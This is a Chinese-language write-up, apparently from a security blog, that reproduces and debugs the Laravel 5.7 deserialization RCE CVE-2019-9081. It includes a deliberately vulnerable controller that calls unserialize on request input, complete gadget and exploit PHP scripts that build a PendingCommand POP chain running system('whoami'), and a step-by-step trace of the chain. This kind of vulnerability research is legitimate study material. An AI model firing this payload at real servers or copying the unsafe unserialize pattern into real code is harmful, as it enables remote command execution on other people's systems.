CVE-2019-9081 Laravel反序列化浅析

robots

 

一、原理

(一)概述

Laravel是一个具有表现力强、语法优雅的web应用程序框架。按照框架作者的理念,开发必须是一种愉快和创造性的经历。因此,Laravel试图通过简化大多数web项目中使用的常见任务来使开发变得容易。

(二)CVE-2019-9081

相较于v5.6,laravel v5.7版本中多了一个PendingCommand.php文件。官方文档对于这个文件的class的大体讲解如下,

借用大佬的一句话,__destruct()方法是触发反序列化漏洞的最好方法。

查看__destruct()方法,其中调用了run()

run的介绍如下,

即执行命令,这是一个可能的可利用点,还要对其进行观察分析,才能确认其是否真正可以利用。

我自己调试分析的过程记录在下,如有不足之处希望各位不吝赐教。

 

二、调试

(一)环境搭建

1.基础环境

搭建参考链接

首先,从PHPStudy上安装composer,

如有需要可配置国内镜像源,

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

然后通过 Composer 安装 Laravel 安装器:

composer global require "laravel/installer"

安装指定版本的Laravel应用,比如5.7版本,可以使用这个命令:

composer create-project --prefer-dist laravel/laravel blog 5.7.*

如此会在当前目录创建一个名为blob的新应用,将Phpstudy中的网站根目录设为blob/public,访问localhost,

见到此页面,

即说明搭建成功。

若在此过程中遇到Fatal error: Allowed memory size of 1610612736 bytes exhausted (tried to allocate 4096 bytes)的错误,可参考此链接

2.情境设定

情境设定如下:存在某一基于此框架的不安全的开发点VulController

配置过程如下,在routes/web.php中添加一条路由记录,Route::get('/vul', 'VulController@index');,然后在app/Http/Controllers目录下新建文件VulController.php,源码如下:

<?php
namespace App\Http\Controllers;
//VulController.php
class VulController
{
    public function index()
    {
//        echo "666";
        unserialize($_GET['p']);
    }
}

若是访问不了127.0.0.1/vul,则可能需要修改Apache的配置,使其允许路由,可参考Ubuntu Apache2开启mod_rewrite解决laravel路由失效问题

payload

<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}


namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
?>

exp

<?php
//chain.php
include("gadgets.php");

echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('id'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
?>

exp

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}

namespace{
    $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
    $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('whoami'),$genericuser,$application);
    echo urlencode(serialize($pendingcommand));
}

3.其它

遇到了PHPStorm+xdebug调试时过几分钟就会断开的错误,这时会出现Internal Server Error错误,

搜索关键词 xdebug 超时,可得PHPStorm+xdebug超时参考链接1PHPStorm+xdebug超时参考链接2

可以通过修改配置文件解决,

在php.ini中的xdebug相关设置中,设置

xdebug.remote_cookie_expire_time = 3600
max_execution_time=3600
max_input_time=3600
default_socket_timeout = 3600

在apache配置文件httpd.conf中,额外设置

Timeout 3600FcgidIOTimeout 3600FcgidIdleTimeout 3600IPCConnectTimeout 3600IPCCommTimeout 3600

不出意外,配置之后即可愉快调试。

(二)复现

运行exp,可得可使用的payload,

携带payload访问vul,

已执行whoami命令,可见成功复现。

(三)调试

调用栈的主要部分,

BoundMethod.php:113, Illuminate\Container\BoundMethod::getMethodDependencies()BoundMethod.php:29, Illuminate\Container\BoundMethod::Illuminate\Container\{closure:E:\phpstudy_pro\WWW\blog\vendor\laravel\framework\src\Illuminate\Container\BoundMethod.php:27-31}()BoundMethod.php:75, Illuminate\Container\BoundMethod::callBoundMethod()BoundMethod.php:31, Illuminate\Container\BoundMethod::call()Container.php:572, Illuminate\Foundation\Application->call()PendingCommand.php:136, Illuminate\Foundation\Testing\PendingCommand->run()PendingCommand.php:220, Illuminate\Foundation\Testing\PendingCommand->__destruct()...index.php:55, {main}()

下面分两段进行调试分析。

1.类的加载至__destruct()方法

序列化是将内存中的对象转换为外存中的字节序列的过程,保证对象在传递和保存对象时的完整性和可传递性;反序列化是将字节序列成目标对象的过程。既然反序列化要将字节流还原成对象,那么在反序列化执行的服务端,就应该完成对这些类的加载,才能顺利完成后面的工作。

我们发送payload,先令程序断在unserialize处,

强制步入,此时调试过程会直接进入AliasLoader->load(),

中间的unserialize()和spl_autoload_call()这里无法进入,但我们可以通过查阅资料了解它们详细的内部功能。

unserialize()不展开讲,主要是spl_autoload_call(),

其功能是去注册的目录找与 classname 同名的 .php/.inc 文件,

在AliasLoader->load()中,我们可以看到,先

此处先检查要加载的$alias中是否有static::$facadeNameSpace,如果有,则调用loadFacade,如果没有,则进入下面的流程。

可以看到,这里首先加载的是PendingCommand对象,对于它来说,其名字里不含有Facade,故而进入下面的流程,判断$this->aliases中是否有$alias,

此时我们可以看到,这里也是false的。

接下来调用loadClass来加载PendingCommand,

可以看到,此处根据路径相对关系对Illuminate/Foundation/Testing/PendingCommand进行了加载,最终通过下面的includeFile进行了include,

继续向下运行,就会完成PendingCommand的加载过程,

接下来加载GenericUser,大体过程与上面类似,不再赘述。

当payload中的类都加载完毕后,就会进入类的__destruct(),

此时,hasExecuted天然为false,

将会顺利进入run()。

2.run()方法内部

1.执行命令前

我们跟进run(),

call($this->command, $this->parameters)处疑似run()内的命令执行点,在到达call()之前还有一个$this->mockConsoleOutput()方法,要想达到疑似的命令执行点,需要顺利走过mockConsoleOutput(),根据注释,改函数的功能是”Mock the application’s console output.”,就是模仿应用的控制台输出,

这里想说点题外话了。

和之前在其它文章中说过的有一定的相似之处:在研究反序列化漏洞的过程中,当我们发现一个可能可以利用漏洞点之后,所有要做的事有二:一是构造一个可触发漏洞的payload,二是保证此payload可用顺利到达触发点。

payload到达触发点的过程(或曰不断靠近触发点的过程),在Java的反序列化漏洞的调试过程中会遇到一些和主题关联不大的函数(如此篇文章的LockVersionExtractor.extract()函数),若这些函数执行成功,不会对结果产生积极影响,但如果不能成功走过这些函数,则整个执行过程会被打断,就无法达到触发点。

对于这类函数,我们的思路就是保障它们顺利进行,不至于打断整个执行流程就可以了,其具体作用不是重点考虑的对象。举个不恰当的例子,高中时崇拜的数学老师曾经说过:很多中档级别的大题,你做对了,是没有用的,因为人人都会,但是你做错了,一定是不好的,因为会被别人拉开。

mockConsoleOutput的功能是模拟控制台输出,顺利运行了这个函数似乎对命令执行没有影响,但是若是在这个函数里出了什么错误,则一定不能达到命令执行的点(尽管现在还是疑似点)。

比如将exp简单更改,

若如此,则在如下这行会进入createABufferedOutputMock()函数,

跟进之,

此时的$this如下,

故而$this->test->expectedOutput是不存在的,

再向下运行就会抛出异常,

这样的话就没法到可能的执行命令点了,整个流程就被打断了。解决的思路就是参加foreach循环的这个$this->test->expectedOutput应该存在,且是个数组,与之类似的还有$this->test->expectedQuestions。

具体来讲,$this->test中应该有个expectedOutput,正常情况下,应该控制$this->test为一个对象,这个对象有expectedOutput属性。

查看之后,可以看出,按照Laravel本身的设计,$this->test应该是一个Test类,经过学习网络上的资料,Test类一般不会被加载。这样的话,不好找一个天然的有expectedOutput的类。

此处可以用到PHP魔术方法中在ctf题中可能遇到的一个技巧,当访问一个类中不存在的属性时会触发__get()方法,通过去触发__get()方法去进一步构造pop链。

接下来需要找一个合适的__get(),比如下面这个就不一定合适,

下面这个GenericUser就比较合适,

它的attributes属性是可控的,当运行到foreach($this->test->expectedOutput)时,返回控制好的GenericUser->attributes[‘expectedOutput’]数组即可,不至于出错,于是有了exp中如下的代码。

class GenericUser{    protected $attributes;    public function __construct(array $attributes){        $this->attributes = $attributes;    }}$genericuser = new Illuminate\Auth\GenericUser(array("expecstedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));

如此,则运行到如下这一步时,

将触发GenericUser的__get()

接下来可顺利走出createABufferedOutputMock(),

回到mockConsoleOutput(),

如法炮制即可顺利走过接下来的$this->test->expectedQuestions。

2.执行命令中

经历了mockConsoleOutput(),最终顺利走回run(),到达可能的命令执行点。

此处的Kernel::class为定值,

步入,查看情况,先是获取key,然后试图make之,

跟进,此时试图make一个抽象类,名字就是Kernel,

继续跟进,进入了Container的make,其内部又调用了resolve,

跟进之,这里试图获得Kernel的非抽象的类,

跟进,可以看到,Kernel这里是没有非抽象的类的,所以不从第一个if中return,

步出getConcrete,继续向下,有一处判断,

可见,返回值为Application,

接下来走到此处,

进入,此时$concrete为Application,$abstract为Kernel,且$concrete非Closure的实例,

所以这里是not buildable,将会进入else,

此处会进行make($concrete),

步入,关键点是parent::make($abstract, $parameters);

Application继承了Container,

再度进入Container的make。

对比上次进入Container::make时,$abstract的值为Kernel,现在已经是Application了,

经过此番运转,情况已经发生了转变,继续向下遇到isBuildable时,情况和之前就不一样了,

此时$abstract和$concrete都为Application,故而是Buildable,

继续走,步出几层,就可进入Container::call,

这里看起来已经很接近最后执行命令的点了,但是还不够彻底,继续跟进,

先进入isCallableWithAtSign,里面判断$callback中是否有@,

显然没有,再加上$defaultMethod为null,所以会向下走,

$callback的参数是通过gerMethodDependency获得的,跟进之,

addDependencyForCallParameter会给$callback添加参数,

函数的最后将我们传入的$parameters数字和$dependencies数组(为空)合并之后return,最后在BoundMethod对象的call()中我们相当于执行了call_user_func_array(‘system’,array(‘whoami’))

执行效果如下。

 

三、收获与启示

Java和PHP的反序列化漏洞有明显不同,但也有较大的共同之处。不同点大可能是在Java中间件要找到的仅仅是一个readObject,在对象的反序列化过程中触发RCE;PHP中的对象的unserialize可能明显给出,需要找到call_user_func_array等执行命令的点。相同点大概是构造一个可触发漏洞的payload,并保证此payload可用顺利到达触发点。

 

参考链接

https://www.cnblogs.com/tr1ple/p/11079354.html

https://skysec.top/2019/07/22/CVE-2019-9081-Laravel-Deserialization-RCE-Vulnerability/#%E6%80%BB%E7%BB%93

https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/

https://www.cnblogs.com/20175211lyz/p/12343980.html

https://xz.aliyun.com/t/5510

https://learnku.com/articles/4681/analysis-of-the-principle-of-php-automatic-loading-function

(完)